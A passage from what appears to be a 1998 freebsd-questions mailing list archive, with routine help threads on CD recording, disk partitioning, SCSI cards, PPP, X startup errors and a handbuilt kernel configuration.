doesn't need the worm device, or so I've read. > > > > At home, I've yet to get my old Philips CDD2000 to work with either worm or > > cdrecord. I've got that on a 2940. > > According to the README of cdrecord-1.6a12 > > --------------------------------- snip --------------------------- > > Cdrecord has been implemented with a Philips CDD 521. > Cdrecord now is maintained with the following drives: > > COMPRE/Matsushita/Panasonic CW-7502 > Philips CDD-2000 > TEAC CD-R50S Ah ha, a newer version. I've been trying with 1.5. Thanks. > --------------------------------- snap --------------------------- > > !!! Attention !!! The Makefile in sysutils/cdrecord used to make > the wrong link. The correct way is to let scgx point to rworm0.ctl > and not sgx. It has been corrected in the Makefile on Mar 27 23:14:05 1998. > > I have here a Yamaha CDR100 working on a 2940UW with > > rtprio 1 cdrecord -v -eject -debug speed=4 dev=6,0 isofile.iso > > Good luck, > > -Andre > -- Happiness is successfully cutting away a malfunction onto a steerable reserve, at a meet, and coming in for a dead centre, standing up; and refusing the rejump. - Mr. Smith To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 08:43:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA13798 for freebsd-questions-outgoing; Thu, 9 Apr 1998 08:43:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA13747 for ; Thu, 9 Apr 1998 08:42:48 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id KAA16202; Thu, 9 Apr 1998 10:41:45 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091541.KAA16202@horton.iaces.com> Subject: Re: Installation Problems To: chrismar@mail.eclipse.net (Chris Martino) Date: Thu, 9 Apr 1998 10:41:45 -0500 (CDT) Cc: questions@FreeBSD.ORG In-Reply-To: from Chris Martino at "Apr 9, 98 10:46:06 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Chris Martino said: > Okay let me clarify a few things so I know what do do differently later > tonight. > > Oh, we did defragment last night before re ran anything, and we till > ended up with 354 meg D partition. That's interesting. I only used fips once. Maybe it split the available space in half. I'd have to look at the manual for it. > Ok, so once we make the D drive delete it using the FDISK on the DOS side > or the one you use once you begin the installation? And the 1st thing we You can delete the extended partition/logical partition from either DOS or FreeBSD's fdisk, doesn't matter. Just be sure to leave the primary DOS partition. > do with that drive it delete it, so it can be used for FreeBSD... Okay > that make sense now. > The rest I can follow I think. I just am wondering which fdisk you are > talking about. Either one will remove the partition. But obviously, you need FreeBSD's to make it's partition. > Anyways, I'll let you know how it turns out! > > Thanks alot!! > Chris > __ > > +-----------------------------------+ > | Chris Martino, Support Technician | > | chrismar@eclipse.net | > +---+-----------------------------------+---+ > | _ _ _ | > | ___ ___| (_)_ __ __ ___ _ _ ___| |_ | > | / -_) __| | | '_ \_-< -_)_| ' ` -_) _/ | > | \___\___|_|_| .__/__/___(_)_|_|___|\__) | > | |_| Eclipse Internet Access | > +-------------------------------------------+ > | (800) 483-1223 -=- http://www.eclipse.net | > +-------------------------------------------+ > > On Thu, 9 Apr 1998, Paul T. Root wrote: > > > In a previous message, Chris Martino said: > > > To Whom it May Concern: > > > > > > Now, my question to you is, from what I tell you does it seem like we did > > > anything wrong? I don't know what happened so I hoping you can tell me > > > some ideas to try. As far as I know he is doing a restore of > > > Win95 tonight and tomorrow we are gonna start totally from scratch. > > > > You did a lot of things wrong. > > > > If Win95 said there was 640 meg free, and fips only came up with 384 meg, > > then you probably should have defragmented the drive first, that would have > > cleared more. > > > > Next, fips made this D: drive for you. That's the partition you wanted to get > > rid of in fdisk and install FreeBSD into. Sounds like you may have hit 'a' in > > fdisk to use the entire disk. I'm not sure how you did that without first > > deleting the DOS partition. Maybe fips failed, but it doesn't sound like > > it since you rebooted a couple of times. > > > > I've never used the install.bat. I've always made a boot floppy, so I can't > > say what the problem was with the booting problems. > > > > The "F1... BSD" prompt was boot easy, telling you you had only one partition > > on the disk, but when > > > > Ok, tonight, make a boot floppy. Boot from it, run novice. Create FreeBSD > > partition. In disklabel, choose 'a' for Auto defaults for all. This may not > > be what you ultimately want, but it gets you started learning Unix. Then > > choose what you want installed. > > > > > > > > -- > > "Five left and cut or I waste everyone in first class." > > --Lonhyn T. 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Regards Gkb team To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 09:01:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA00959 for freebsd-questions-outgoing; Thu, 9 Apr 1998 09:01:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaguar.ir.miami.edu (jaguar.ir.miami.edu [129.171.32.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA00949 for ; Thu, 9 Apr 1998 09:01:06 -0700 (PDT) (envelope-from marcus@miami.edu) Received: from localhost by jaguar.ir.miami.edu (PMDF V5.1-10 #24029) with SMTP id <0ER500O01LT8NA@jaguar.ir.miami.edu> for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 12:00:44 -0400 (EDT) Date: Thu, 09 Apr 1998 12:00:44 -0400 (EDT) From: "Joe \"Marcus\" Clarke" Subject: Re: vms-like shell In-reply-to: <199804091458.HAA13363@kjsl.com> To: Javier Henderson Cc: FreeBSD User Questions List Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Javier Henderson wrote: > Doug White writes: > > > I'd check the net -- some (sadistic) person may have ported it. > > Someone who likes commands in English, for instance. Commands in English, maybe, but no piping, and no command completion. Joe Clarke > > -jav > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 09:39:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA05419 for freebsd-questions-outgoing; Thu, 9 Apr 1998 09:39:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kjsl.com (Limpia.KJSL.COM [198.137.202.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05394 for ; Thu, 9 Apr 1998 09:38:39 -0700 (PDT) (envelope-from javier@kjsl.com) Received: (from javier@localhost) by kjsl.com (8.8.5/8.8.5) id JAA13735; Thu, 9 Apr 1998 09:38:06 -0700 (PDT) Date: Thu, 9 Apr 1998 09:38:06 -0700 (PDT) Message-Id: <199804091638.JAA13735@kjsl.com> From: Javier Henderson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Joe \"Marcus\" Clarke" Cc: Javier Henderson , FreeBSD User Questions List Subject: Re: vms-like shell In-Reply-To: References: <199804091458.HAA13363@kjsl.com> X-Mailer: VM 6.33 under Emacs 19.34.1 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Joe \"Marcus\" Clarke" writes: > Commands in English, maybe, but no piping, and no command completion. Piping: it's there in recent versions. Command completion: you don't need it. You can type DIR, DIRE, DIRECTORY, they all work fine. -jav To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 09:41:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA05882 for freebsd-questions-outgoing; Thu, 9 Apr 1998 09:41:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from osibisa.cl.msu.edu (osibisa.cl.msu.edu [35.8.1.245]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA05871 for ; Thu, 9 Apr 1998 09:41:42 -0700 (PDT) (envelope-from ikhala@osibisa.cl.msu.edu) Received: by osibisa.cl.msu.edu (SMI-8.6/MSU-2.20) id MAA02523; Thu, 9 Apr 1998 12:41:34 -0400 Date: Thu, 9 Apr 1998 12:41:34 -0400 From: original man Message-Id: <199804091641.MAA02523@osibisa.cl.msu.edu> To: dwhite@resnet.uoregon.edu Subject: Re: SCSI controller Cc: freebsd-questions@FreeBSD.ORG X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Thu, 9 Apr 1998, Doug White wrote: > > I don't think it's supported, no. Try a Symbios-based card or an Adaptec. > Assuming you're using a Pentium class machine, the Adaptec 2940 (not > 2940A) series is an excellent card. > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > Hi Doug, Do you or anyone else on this list have a source for the Symbios-based cards? I know Asus makes a couple, but I'm having difficulties in finding a vendor. I am in mid-Michigan (East Lansing). Of course any web based vendors would work too. Sincerely, I'khala To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 09:42:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA06458 for freebsd-questions-outgoing; Thu, 9 Apr 1998 09:42:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA06448 for ; Thu, 9 Apr 1998 09:42:41 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id JAA28618 for ; Thu, 9 Apr 1998 09:42:04 -0700 (PDT) Received: from pau-amma.whistle.com(207.76.205.64) by whistle.com via smap (V1.3) id sma028612; Thu Apr 9 09:41:35 1998 Received: (from dhw@localhost) by pau-amma.whistle.com (8.8.7/8.8.7) id JAA26038 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 09:41:34 -0700 (PDT) (envelope-from dhw) Date: Thu, 9 Apr 1998 09:41:34 -0700 (PDT) From: David Wolfskill Message-Id: <199804091641.JAA26038@pau-amma.whistle.com> To: freebsd-questions@FreeBSD.ORG Subject: Re: amd, NFS, & set[GU]ID flags (2.2.6-BETA) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A while back, I posted a query re: setgid programs on a "nosetuid"- flagged NFS-mounted filesystem. I had (mistakenly) been under the impression that "nosetuid" merely meant "no setuid" (vs. "no setgid"). However, in _The Design and Implementation of the 4.4BSD Operating System_ (McKusick, et al.), on p. 223, the description of that flag reads: nosuid Do not honor the set-user-id or set-group-id flags for any executables on the filesystem. This option is useful when a filesystem of unknown origin is mounted. Thus, I see that I misunderstood the specification; I'm passing the information along just in case I wasn't the only one to have missed the point. david -- David Wolfskill dhw@whistle.com (650) 577-7158 pager: (650) 401-0168 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 09:53:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07825 for freebsd-questions-outgoing; Thu, 9 Apr 1998 09:53:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from astro.astrocorp.com ([206.147.28.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07802 for ; Thu, 9 Apr 1998 09:53:37 -0700 (PDT) (envelope-from grogers@astrocorp.com) Received: from glenn.astrocorp.com (glenn.astrocorp.com [206.147.28.31]) by astro.astrocorp.com (8.8.5/8.8.5) with SMTP id LAA17129 for ; Thu, 9 Apr 1998 11:49:28 -0500 Message-Id: <2.2.32.19980409165246.006772b4@astrocorp.com> X-Sender: grogers@astrocorp.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 09 Apr 1998 11:52:46 -0500 To: freebsd-questions@FreeBSD.ORG From: Glenn Rogers Subject: PPP memory leak & port numbers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We have a protocol stack embedded into our product which is based on BSD 4.2. We also have FreeBSD release 2.2.5 on CD ROM. Here is the story. 1) The CISCO 2509 router/terminal server does not initiate the LCP negotiation to bring up the PPP link. If the PPP link is up and running and the CISCO is power cycled, IP traffic stops. We think PPP is up and CISCO thinks the link is down. The response I got from CISCO tech support was to monitor the DTR line and restart the link if the line drops. Because we didn't wire that DTR line in, we can't detect the event. 2) To fix the problem, I have added a watch dog timer to periodically send LCP echo requests to determine if the device is alive. If the echo responses are not returned, I am calling lcp_close() and restarting the link. 3) If the PPP link goes down and then up again enough times, eventually a call to allocate memory to open a socket fails. This leak is somehow related to the info displayed by the 'netstat' command. After the PPP link is up, netstat displays the following. Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 *.23 *.* LISTEN udp 0 0 *.* *.* udp 0 0 *.161 *.* When the link goes down (lcp_close() was called), one more entry is displayed when the 'netstat' command is issued as follows. Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 *.23 *.* LISTEN udp 0 0 *.* *.* udp 0 0 *.* *.* udp 0 0 *.161 *.* When the link comes back up one more entry is displayed when the 'netstat' command is issued as follows. Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 *.23 *.* LISTEN udp 0 0 *.* *.* udp 0 0 *.* *.* udp 0 0 *.* *.* udp 0 0 *.161 *.* This is displaying a 'Local Address' of *.*. The code that prints this info is displaying * for the port number when the port value passed to inetprint() is zero. (inetprint() is in the file inet.c) My question is... There are places in the code where port values of zero are accepted. Why does the code allow port values of zero when RFC1700 and much older RFC739 has allways defined port number zero as 'Reserved' ??? Thank you, Glenn Rogers ********************************** * Glenn Rogers * * Firmware Development Engineer * * Astrocom Corporation * * 2700 Summer Street N.E. * * Minneapolis, MN 55413-2820 * * Phone: (612) 378-7800/617-2465 * * FAX: (612) 378-1070 * * e-mail: grogers@astrocorp.com * ********************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 10:17:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA10204 for freebsd-questions-outgoing; Thu, 9 Apr 1998 10:17:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uswgco3.uswc.uswest.com (uswgco3.uswest.com [206.196.133.82]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA10191 for ; Thu, 9 Apr 1998 10:17:52 -0700 (PDT) (envelope-from mmeola@ima2wk6.uswc.uswest.com) Received: from egate.mnet.uswest.com (mailgate.uswc.uswest.com [151.119.130.8]) by uswgco3.uswc.uswest.com (8.8.5/8.8.5) with ESMTP id LAA25203; Thu, 9 Apr 1998 11:17:13 -0600 (MDT) Received: from ima2wk6.ima2 (ima2wk6.uswc.uswest.com [151.116.151.207]) by egate.mnet.uswest.com (8.7.1/8.7.1) with SMTP id LAA22159; Thu, 9 Apr 1998 11:17:13 -0600 (MDT) Received: by ima2wk6.ima2 (SMI-8.6/SMI-SVR4) id LAA19597; Thu, 9 Apr 1998 11:17:12 -0600 To: original man Cc: freebsd-questions@FreeBSD.ORG Subject: Re: SCSI controller References: <199804091641.MAA02523@osibisa.cl.msu.edu> From: Matt Meola Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 09 Apr 1998 11:17:11 -0600 In-Reply-To: original man's message of "Thu, 9 Apr 1998 12:41:34 -0400" Message-ID: Lines: 16 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG original man writes: > > > Hi Doug, > Do you or anyone else on this list have a source for the Symbios-based cards? > I know Asus makes a couple, but I'm having difficulties in finding a vendor. > I am in mid-Michigan (East Lansing). Of course any web based vendors would > work too. Promise makes Symbios-based controllers; try www.insight.com. -- Matt Meola Bailey, Colorado "Gun control means using two hands." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 10:21:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA10889 for freebsd-questions-outgoing; Thu, 9 Apr 1998 10:21:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ms11.hinet.net (root@ms11.hinet.net [168.95.4.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA10845 for ; Thu, 9 Apr 1998 10:21:21 -0700 (PDT) (envelope-from jwlo@ms11.hinet.net) Received: from ms11.hinet.net (h98.s7.ts32.hinet.net [163.32.7.98]) by ms11.hinet.net (8.8.8/8.8.8) with ESMTP id BAA01536 for ; Fri, 10 Apr 1998 01:23:40 +0800 (CST) Message-ID: <352D02BC.CCEBBABA@ms11.hinet.net> Date: Fri, 10 Apr 1998 01:17:48 +0800 From: Doug Lo Reply-To: jwlo@ms11.hinet.net X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: X window problem. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, FreeBSD gurus, When I run 'startx', it got an error message: Can't open /usr/libexec/ld.so. Would anyone tell me how to solve this problem, thanks in advance. Best regards, Doug. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 10:35:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA13013 for freebsd-questions-outgoing; Thu, 9 Apr 1998 10:35:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.futuregate.net (root@mail.futuregate.net [208.132.0.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA12880 for ; Thu, 9 Apr 1998 10:34:04 -0700 (PDT) (envelope-from hackz@FutureGate.Net) Received: from futuregate.net (hackz@dial1S1.futuregate.net [208.132.0.11]) by mail.futuregate.net (8.8.7/8.8.7) with ESMTP id UAA00755 for ; Tue, 7 Apr 1998 20:06:36 -0600 Message-ID: <352AE7F8.7EDDEB14@futuregate.net> Date: Tue, 07 Apr 1998 20:59:04 -0600 From: John Dorr X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: kernel problem Content-Type: multipart/mixed; boundary="------------6EA181D7B99B368299F9628A" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------6EA181D7B99B368299F9628A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit here is my kernel setup please tell me what on earth I did wrong, my computer is a pentium 200 MMX, 48 megs of ram, tyan tomcat IV motherboard, USR X2 Sportster, SB AWE 64 PnP, ps2 mouse, primary IDE control: Master= 5 gig maxtor, slave Mitsumi 16x cd rom secondary control: master: 1.6 gig Maxtor (this is where free BSD is at) slave: Phillips OMNIwriter 6x read 2x write cd burner I have no scsi devices on this machine. the kernel is the attachment called "Twisted" here are the errors I get when I do make pdq_ifsubr.o: Undefined symbol '_fddi_input' referenced from text segment pdq_ifsubr.o: Undefined symbol '_arp_ifinit referencedfrom text segment pdq_ifsubr.o: Undefined symbol '_ether_addmulti' referencedfrom text segment pdq_ifsubr.o: Undefined symbol '_ether_delmulti' referenced from text segment pdq_ifsubr.o: Undefined symbol '_fddi_output' referenced from text segment pdq_ifsubr.o: Undefined symbol '_fddi_ifattatch' referenced from text segment aha1742.o: Undefined symbol '_scsi_alloc_bus' referenced from text segment aha1742.o: Undefined symbol '_scsi_attachdevs' referenced from text segment aha1742.o: Undefined symbol '_scsi_done' referenced from text segment aic7xxx.o: Undefined symbol '_scsi_alloc_bus' referenced from text segment aic7xxx.o: Undefined symbol '_scsi_attachdevs' referenced from text segment aic7xxx.o: Undefined symbol '_scsi_alloc_bus' referenced from text segment aic7xxx.o: Undefined symbol '_scsi_attatch_devs' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: Undefined symbol '_sc_print_addr' referenced from text segment aic7xxx.o: More undefined symbol _sc_print_addr refs follow aic7xxx.o: Undefined symbol '_scsi_done' referenced from text segment ioconf.o :Undefined symbol'_fdcdriver' referenced from data segment ioconf.o: Undefined symbol '_fdintr' referenced from data segment --------------6EA181D7B99B368299F9628A Content-Type: text/plain; charset=us-ascii; name="Twisted" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="Twisted" # handbuilt kernel attempt machine "i386" #machine type DO NOT CHANGE ident TWISTED #this is the id of the kernel maxusers 10 options CHILD_MAX=128 options OPEN_MAX=128 options "MAXDSIZ=(256*1024*1024)" options "DFLDSIZ=(256*1024*1024)" options FAILSAFE config kernel root on wd0 dumps on wd0 #CPU OPTIONS cpu "I586_CPU" #AKA Pentium options "CPU FASTER ON 5X86_FPU" options "NO_FOOF_HACK" #COMPATIBILITY OPTIONS options "COMPAT_43" options SYSVSHM options SYSVSEM options SYSVMSG options "MD5" #debugging options options DDB options DIAGNOSTIC options PERFMON # NETWORKING OPTIONS options INET #options IPX # NETWORK INTERFACES pseudo-device sppp pseudo-device ppp 2 pseudo-device loop pseudo-device tun 1 pseudo-device fddi pseudo-device bpfilter 4 pseudo-device disc # Internet Family Options options MROUTING options IPDIVERT # POSSIBLE PROBLEM # Filesystem options options FFS options NQNFS options "CD9660" options FDESC options PROCFS options DEVFS options MFS options MFS_ROOT=10 options NSWAPDEV=20 options "CD9660_ROOTDELAY=20" # Miscellaneous Devices pseudo-device pty 16 pseudo-device speaker pseudo-device log pseudo-device gzip #hardware devices controller isa0 options BOUNCE BUFFERS options "MAXMEM=(48*1024) controller pnp0 device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr device npx0 at isa? port "IO_NPX" iosiz 0x0 flags 0x0 irq 13 vector npxintr # ESDI AND IDE HARD DRIVES #Master Controller controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr disk wd0 at wdc0 drive 0 disk wd1 at wdc0 drive 1 #Secondary Controller controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr disk wd2 at wdc1 drive 0 disk wd3 at wdc1 drive 1 options ATAPI device wcd0 device wfd0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr #other Standard PC hardware device lpt1 at isa? port "IO_LPT3" tty irq 5 vector lptintr #network devices controller snd0 device sb0 at isa? port 0x220 irq 5 drq 1 vector sbintr device sbxvi0 at isa? drq 5 device sbmidi at isa? port 0x330 device awe0 at isa? port 0x620 controller eisa0 controller ahb0 controller ahc0 device fea0 device joy0 at isa? port "IO_GAME" --------------6EA181D7B99B368299F9628A-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 10:36:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA13449 for freebsd-questions-outgoing; Thu, 9 Apr 1998 10:36:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from abtmail.abtassoc.com (abtmail.abtassoc.com [198.105.0.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA13073 for ; Thu, 9 Apr 1998 10:35:26 -0700 (PDT) (envelope-from chris_brogan@abtassoc.com) From: chris_brogan@abtassoc.com Received: from hadrian.abtassoc.com (hadrian.abtassoc.com [198.105.0.2]) by abtmail.abtassoc.com (8.8.6/8.8.6/LeftBank-Abtassoc1.0) with SMTP id NAA24996 for ; Thu, 9 Apr 1998 13:40:08 -0400 Received: from [10.121.0.2] by hadrian.abtassoc.com via smtpd (for abtmail.abtassoc.com [198.105.0.7]) with SMTP; 9 Apr 1998 17:48:10 UT Received: from ccMail by abtgwy.abtassoc.com (SMTPLINK V2.11.01) id AA892154105; Thu, 09 Apr 98 12:33:48 est Date: Thu, 09 Apr 98 12:33:48 est Message-Id: <9803098921.AA892154105@abtgwy.abtassoc.com> To: questions@FreeBSD.ORG Subject: Re: WWW Form Submission Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG HI, I received an email suggesting that the following location: ftp://ftp.demos.su/.1/os/msdos/sound/play_edit/ may have software that will play sound files (format dependant on software) through the modem port on a DOS based machine. It seems that this is not available to the general public. While moving around the area, I located your site which seems to be associated with the ftp site listed above. Do you know of any such software, and if so how I could go about acquiring it. Thanks in advance Chris brogan ______________________________ Forward Header __________________________________ Subject: Re: WWW Form Submission Author: Mark Lewis at internet Date: 4/9/98 12:48 PM > >Message: I am trying to locate software that will play sound files (format >dependant on software) through the modem port on a DOS based machine. > >Do you have any application that will do this or know of someone who does? > >Thanks in advance >Chris Brogan > Here's a bunch of DOS sound software; ftp://ftp.demos.su/.1/os/msdos/sound/play_edit/ Hope it helps, thanx for visiting. -Mark Lewis \\|// (o o) ~~~~~~~~~~~~oOOo~(_)~oOOo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Partners in Rhyme mark@partnersinrhyme.com 213-933-9979 Studio-A 213-933-6176 Studio-B 213-937-5439 FAX Received: from justinian.abtassoc.com by abtgwy.abtassoc.com (SMTPLINK V2.11.01) ; Thu, 09 Apr 98 12:47:59 est Return-Path: Received: from abtmail.abtassoc.com ([198.105.0.7]) by justinian.abtassoc.com via smtpd (for [10.121.0.2]) with SMTP; 9 Apr 1998 17:01:02 UT Received: from terminator.wavenet.com (terminator.wavenet.com [198.147.118.138]) by abtmail.abtassoc.com (8.8.6/8.8.6/LeftBank-Abtassoc1.0) with SMTP id MAA22533 for ; Thu, 9 Apr 1998 12:52:49 -0400 Received: from [206.117.206.159] by terminator.wavenet.com via ESMTP (940816.SGI.8.6.9/940406.SGI.AUTO) for id JAA00969; Thu, 9 Apr 1998 09:48:46 -0700 X-Sender: chiva@pop.valueweb.net Message-Id: In-Reply-To: <199804072032.QAA03654@elara.valueweb.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 9 Apr 1998 08:50:39 -0700 To: chris_brogan@abtassoc.com (chris brogan) From: Mark Lewis Subject: Re: WWW Form Submission To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 10:38:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA13986 for freebsd-questions-outgoing; Thu, 9 Apr 1998 10:38:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.futuregate.net (root@mail.futuregate.net [208.132.0.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA13918 for ; Thu, 9 Apr 1998 10:37:50 -0700 (PDT) (envelope-from hackz@FutureGate.Net) Received: from futuregate.net (dial1S17.futuregate.net [208.132.0.17]) by mail.futuregate.net (8.8.7/8.8.7) with ESMTP id BAA03324 for ; Wed, 8 Apr 1998 01:45:00 -0600 Message-ID: <352B3748.727F2955@futuregate.net> Date: Wed, 08 Apr 1998 02:37:28 -0600 From: John Dorr X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: NO BOOT!!! URGENT!!! Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG when I start to boot my system it gets to the line "Intel Pentuim F00F detected, installing workaround" and then it just stops and sits what is going on? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 11:12:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA17480 for freebsd-questions-outgoing; Thu, 9 Apr 1998 11:12:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA17472 for ; Thu, 9 Apr 1998 11:12:39 -0700 (PDT) (envelope-from 